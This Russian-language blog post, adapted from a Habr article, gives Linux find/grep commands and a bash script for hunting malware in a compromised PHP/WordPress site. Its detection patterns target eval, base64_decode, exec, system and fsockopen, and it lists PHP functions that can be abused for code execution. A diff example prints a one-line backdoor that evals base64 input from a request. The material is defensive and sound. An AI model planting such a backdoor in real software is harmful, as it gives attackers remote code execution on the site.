Хитрые Lunux команды терминала для поиска Взломанных частей сайта.

4.8.2013 - 1858 просмотров ;)

Найти все последние измененные файлы за 7 дней:

find . -type f -name '*.php' -mtime -7

Найти файлы с eval, base64_decode, gzinflate или str_rot13


find . -type f -name '*.php' | xargs grep -l "eval *(" --color
find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color
find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color<br />find wp-admin -type f -name '*.php' | xargs grep -l "gzinflate *(" --color<br />

Если вы удалите опцию -l из grep, он будет показывать текст совпавшего файла. Чтобы пойти дальше я бы воспользовался этой объединенной командой, которая является более общей

find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color

Эта команда найдет php файлы содержащие eval(str_rot13(base64_decode(

Совет: расширьте выражение для поиска функций, которые могут быть использованы злонамеренно, такие как mail, fsockopen, pfsockopen, stream_socket_client, exec, system и passthru. Можно скомбинировать все эти значения в одну команду:

find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *\("

Следующая команда:

find . -type f -name '*.php' | xargs egrep -i "preg_replace *\((['|\"])(.).*\2[a-z]*e[^\1]*\1 *," --color

Она найдет похожий на такой код: \x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28 — как правило это обычный base64

Как в старые давние времена запомните что x29 — это ‘)’ , а x3B — ‘;’

Это пригодится при анализе таких строк.

Проверять какой код какой символ можно быстро так:

echo chr(hexdec('x29'));
echo chr(hexdec('x3B'));
// outputs );

Можно даже просто пойти тупым путем и искать  закрывающиеся скобки в файлах в шестнадцатиричке так:

find . -type f -name '*.php' | xargs grep -il x29

Следующая Команда поможет сравнить 2 папки (в этом примере для WordPress). Одна заведомо чистая, а другая зараженная.

diff -r wordpress-clean/ wordpress-compromised/ -x wp-content

-x это исключение, т.е. папку wp-content — исключили, но вообще-то надо смотреть все.

Пример результата:

diff -r -x wp-content wordpress-clean/wp-admin/includes/class-wp-importer.php wordpress-compromised/wp-admin/includes/class-wp-importer.php
302a303,306
> 
> if (isset($_REQUEST['x'])) {
>     eval(base64_decode($_REQUEST['x']));
> }

 

Поиск *.php в папке с подпапками

find wp-content/uploads -type f -name '*.php'

 

Следующий скрипт на bash,  ищет php файлы лежащие в папках Доступных для записи и результат кладет в файл

#!/bin/bash

search_dir=$(pwd)
writable_dirs=$(find $search_dir -type d -perm 0777)

for dir in $writable_dirs
do
    #echo $dir
    find $dir -type f -name '*.php'
done

 

Сохраните это в файл и дайте ему права на запись

chmod +x search_for_php_in_writable

Сохраните этот файл в вашем домашнем каталоге, а затем перейдите в каталог в котором вы собираетесь искать и выполните следующую команду:

~/search_for_php_in_writable > results.txt
~/search_for_php_in_writable | less

Помните что злоумышленники часто закгружают на сервера не PHP файлы конечно же а как правило картинки. Ищите.

find wp-content/uploads -type f | xargs grep -i php
find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php

 

Полезно поискать iframe

grep -i '<iframe' mywebsite.txt

Но в этом случае уже поможет jAntivirus.

 

Что еще и где еще поискать:

В MySQL ищите

%base64_% и %eval(% и подобное

.htaccess

auto_append_file и auto_prepend_file включают другие php файлы в начале или в конце всех php скриптов, злоумышленники могут использовать их для включения своего кода.

find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file;
find . -type f -name '\.htaccess' | xargs grep -i auto_append_file;

Следующая команда ищет во всех подкаталогах файлы .htacсess, которые содержат ‘http’. Результатом поиска будет список всех правил перенаправлений, в которых могут быть и вредоносные правила.

find . -type f -name '\.htaccess' | xargs grep -i http;

Так же ищите HTTP_USER_AGENT в htaccess ибо некоторые вещщи делают чисто для мобильных поэтому проверяют Юзерагента.

Списки плохих букв и ругательных слов, которые можно искать:

Список функций, которые вызывают callback

array_filter
array_map
array_walk
array_diff_uassoc
array_udiff_assoc
array_udiff_uassoc
array_intersect_uassoc
array_diff_ukey
array_intersect_ukey
array_reduce
array_udiff
uasort
usort
array_uintersect_assoc
array_uintersect_uassoc
array_uintersect
array_walk_recursive

Список функций, которые выполняют PHP код

create_function
eval
assert
{$name}()
preg_replace(//e)

Переменные, которые можно установить через ini_set

unserialize_callback_func
assert_callback
output_handler

Немного системных функций

session_set_save_handler

set_exception_handler

set_error_handler

restore_error_handler

register_shutdown_function

restore_exception_handler()

ob_start

trigger_error

 

Написано по материалам habrahabr: http://m.habrahabr.ru/post/188878/

Может комменты там еще есть более дельные но вообще-то этого должно хватить.

Ставьте jAntivirus

Статьи из раздела, Видеочат рулетка